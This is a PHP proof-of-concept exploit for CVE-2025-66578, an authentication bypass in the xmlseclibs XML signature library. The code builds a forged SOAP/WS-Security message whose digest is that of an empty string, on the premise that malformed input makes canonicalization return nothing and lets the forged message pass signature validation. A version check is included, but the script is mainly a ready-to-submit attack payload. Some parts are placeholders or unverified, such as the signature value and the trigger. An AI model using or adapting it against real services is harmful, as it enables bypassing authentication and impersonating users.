CVE-2025-66578: xmlseclibs身份验证绕过漏洞

<?php /** * CVE-2025-66578 PoC - xmlseclibs Authentication Bypass * This PoC demonstrates how an attacker can bypass XML signature validation * by exploiting the empty string canonicalization vulnerability. */ require_once 'xmlseclibs.php'; use RobRichards\XMLSecLibs\XMLSecurityDSig; use RobRichards\XMLSecLibs\XMLSecurityKey; // Generate a malicious XML document that causes canonicalization to return empty string function createMaliciousXML() { // Create XML with invalid structure that causes libxml2 to return empty string on canonicalize $xml = '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Header> <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#body"> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>EMPTY_STRING_SHA256</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>ATTACKER_SIGNATURE</ds:SignatureValue> <ds:KeyInfo> <wsse:SecurityTokenReference> <wsse:Reference URI="#key"/> </wsse:SecurityTokenReference> </ds:KeyInfo> </ds:Signature> </wsse:Security> </SOAP-ENV:Header> <SOAP-ENV:Body Id="body"> <!-- Malformed XML that triggers the vulnerability --> <InvalidXML><![CDATA[]]></InvalidXML> </SOAP-ENV:Body> </SOAP-ENV:Envelope>'; return $xml; } // Exploit function that calculates the digest of empty string function exploit() { // Calculate SHA-256 of empty string (the digest value attacker needs) $emptyStringDigest = base64_encode(hash('sha256', '', true)); echo "[*] CVE-2025-66578 Exploitation\n"; echo "[*] Empty string SHA-256 digest: " . $emptyStringDigest . "\n"; // Create malicious XML with the calculated digest $maliciousXML = createMaliciousXML(); // Replace placeholder with actual digest $maliciousXML = str_replace('EMPTY_STRING_SHA256', $emptyStringDigest, $maliciousXML); echo "[*] Malicious XML created\n"; echo "[*] Attack vector: Submit this XML to bypass signature validation\n"; return $maliciousXML; } // Mitigation check function function checkVulnerability($xmlSecLibsVersion) { echo "[*] Checking xmlseclibs version...\n"; if (version_compare($xmlSecLibsVersion, '3.1.4', '<')) { echo "[!] VULNERABLE: Version $xmlSecLibsVersion is affected\n"; echo "[!] Recommendation: Upgrade to version 3.1.4 or later\n"; return true; } else { echo "[+] PATCHED: Version $xmlSecLibsVersion is not affected\n"; return false; } } // Run the exploit demonstration $xmlSecLibsVersion = '3.1.3'; if (checkVulnerability($xmlSecLibsVersion)) { exploit(); } ?>